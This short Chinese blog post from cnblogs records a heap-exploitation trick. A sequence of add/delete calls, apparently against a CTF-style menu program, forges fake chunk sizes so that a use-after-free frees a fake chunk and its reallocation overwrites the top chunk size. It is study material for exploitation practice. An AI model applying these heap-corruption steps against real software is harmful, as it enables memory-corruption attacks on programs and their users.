UAF改top chunk size
UAF改top chunk size
之前我以为想改top chunk size
要通过UAF
并且加上edit
的功能才可以实现。前几天我看到一个纯利用堆风水实现修改top chunk
的方法才恍然大悟,在此记录一下。
举个例子,堆布局如下:
add(0, 0x420, b'a')
add(1, 0x420, b'a')
add(2, 0x420, b'a')
delete(0)
delete(1)
delete(2)
add(3, 0x430, b'a'*0x420 + p64(0) + p64(0x441))
add(4, 0x430, b'b'*0x420 + p64(0) + p64(0x421))
delete(4)
delete(1)
add(5, 0x430, p64(0) + p64(0x233))
本质也就是通过伪造两个size
,使得可以通过UAF
释放一个fake_chunk
进bins
。然后再申请回来即可以修改top chunk size
。
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/16560574.html